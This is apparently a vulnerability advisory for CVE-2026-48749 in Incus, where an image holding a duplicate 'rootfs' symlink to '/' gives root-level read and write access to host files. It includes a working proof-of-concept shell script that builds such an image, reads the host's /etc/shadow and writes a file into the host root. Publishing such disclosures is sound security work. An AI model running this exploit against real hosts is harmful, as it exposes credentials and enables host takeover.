CVE-2026-48749

### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image in github.com/lxc/incus